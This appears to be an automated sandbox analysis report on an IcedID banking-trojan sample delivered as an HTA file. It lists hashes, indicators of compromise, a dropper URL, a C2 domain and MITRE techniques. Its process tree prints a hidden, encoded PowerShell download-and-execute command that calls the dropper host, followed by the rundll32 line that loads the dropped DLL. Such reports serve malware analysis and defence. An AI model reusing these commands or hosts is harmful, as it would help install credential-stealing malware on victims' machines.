icedid | d4cec5888bdcc4723be0d28197fc454ba21b926e32b94102261d0c7593c7481e

General

Target

Scan_02_01_#234.hta
Size

23KB
MD5

06cc58468a0ece21d6c19816a453fb73
SHA1

fe5fd9576f5a2c5179d9750afdf22390197bc556
SHA256

d4cec5888bdcc4723be0d28197fc454ba21b926e32b94102261d0c7593c7481e
SHA512

079fa78797078a57fffb32b081dc9aa2ba8c087fe8eaad09b067db0b07f35b62f8ca20b365d0cc7b7e36eca8fada3f9a5259ebc4ed128f80b076436647e0e9d5
SSDEEP

384:W5EAr748f/yhahejGBOKzBFVJGPzR8t8IF4bhNuTeHUzhTIwhxc6:mfqYzyONgUTj

Score

10^/10

icedid 3230313353 banker loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://restlomik.com/gatef.php

Extracted

Family

icedid

Campaign

3230313353

C2

prahmatorn.com

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

10 2116 powershell.exe
13 1192 rundll32.exe
99 1192 rundll32.exe
101 1192 rundll32.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1808 rundll32.exe
1192 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

2116 powershell.exe
2116 powershell.exe
1192 rundll32.exe
1192 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2116 powershell.exe

flow	pid	process
10	2116	powershell.exe
13	1192	rundll32.exe
99	1192	rundll32.exe
101	1192	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
1808	rundll32.exe
1192	rundll32.exe

pid	process
2116	powershell.exe
2116	powershell.exe
1192	rundll32.exe
1192	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	2116	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

mshta.execmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 4648 wrote to memory of 976	4648	mshta.exe	cmd.exe
PID 4648 wrote to memory of 976	4648	mshta.exe	cmd.exe
PID 4648 wrote to memory of 976	4648	mshta.exe	cmd.exe
PID 976 wrote to memory of 2116	976	cmd.exe	powershell.exe
PID 976 wrote to memory of 2116	976	cmd.exe	powershell.exe
PID 976 wrote to memory of 2116	976	cmd.exe	powershell.exe
PID 2116 wrote to memory of 1808	2116	powershell.exe	rundll32.exe
PID 2116 wrote to memory of 1808	2116	powershell.exe	rundll32.exe
PID 2116 wrote to memory of 1808	2116	powershell.exe	rundll32.exe
PID 1808 wrote to memory of 1192	1808	rundll32.exe	rundll32.exe
PID 1808 wrote to memory of 1192	1808	rundll32.exe	rundll32.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Scan_02_01_#234.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4648

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=
2⤵
- Suspicious use of WriteProcessMemory
PID:976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2116

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\xcHwXLN.bin,init
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1808

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\xcHwXLN.bin,init
5⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1192

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\xcHwXLN.bin
Filesize
252KB

MD5
2acb462e27366cebbce10d3f339a439b

SHA1
dd24f07f4e39fc5ac9d866929fbeaa64976a937e

SHA256
a0ab19f0f2d9ac6c7a611600b45bb8a5d2fbf8a9a85efefb2b672b10ee1f84c1

SHA512
31d080e981f06bba102564e804defde85a4e922a09201b8244212c731ebf8fbecad78617768fdd23b259667dde58053b7220e5155c5f7ee44e8730032a3a0564

Download Submit
C:\Users\Admin\AppData\Local\xcHwXLN.bin
Filesize
252KB

MD5
2acb462e27366cebbce10d3f339a439b

SHA1
dd24f07f4e39fc5ac9d866929fbeaa64976a937e

SHA256
a0ab19f0f2d9ac6c7a611600b45bb8a5d2fbf8a9a85efefb2b672b10ee1f84c1

SHA512
31d080e981f06bba102564e804defde85a4e922a09201b8244212c731ebf8fbecad78617768fdd23b259667dde58053b7220e5155c5f7ee44e8730032a3a0564

Download Submit
C:\Users\Admin\AppData\Local\xcHwXLN.bin
Filesize
252KB

MD5
2acb462e27366cebbce10d3f339a439b

SHA1
dd24f07f4e39fc5ac9d866929fbeaa64976a937e

SHA256
a0ab19f0f2d9ac6c7a611600b45bb8a5d2fbf8a9a85efefb2b672b10ee1f84c1

SHA512
31d080e981f06bba102564e804defde85a4e922a09201b8244212c731ebf8fbecad78617768fdd23b259667dde58053b7220e5155c5f7ee44e8730032a3a0564

Download Submit
memory/976-132-0x0000000000000000-mapping.dmp

Download
memory/1192-147-0x0000024EC6D30000-0x0000024EC6D39000-memory.dmp

Filesize
36KB

Download
memory/1192-145-0x0000000000000000-mapping.dmp

Download
memory/1808-142-0x0000000000000000-mapping.dmp

Download
memory/2116-136-0x0000000005480000-0x00000000054A2000-memory.dmp

Filesize
136KB

Download
memory/2116-140-0x0000000007A90000-0x000000000810A000-memory.dmp

Filesize
6.5MB

Download
memory/2116-141-0x0000000006950000-0x000000000696A000-memory.dmp

Filesize
104KB

Download
memory/2116-139-0x0000000006450000-0x000000000646E000-memory.dmp

Filesize
120KB

Download
memory/2116-138-0x0000000005E00000-0x0000000005E66000-memory.dmp

Filesize
408KB

Download
memory/2116-137-0x0000000005C60000-0x0000000005CC6000-memory.dmp

Filesize
408KB

Download
memory/2116-135-0x00000000055C0000-0x0000000005BE8000-memory.dmp

Filesize
6.2MB

Download
memory/2116-134-0x0000000002E70000-0x0000000002EA6000-memory.dmp

Filesize
216KB

Download
memory/2116-133-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads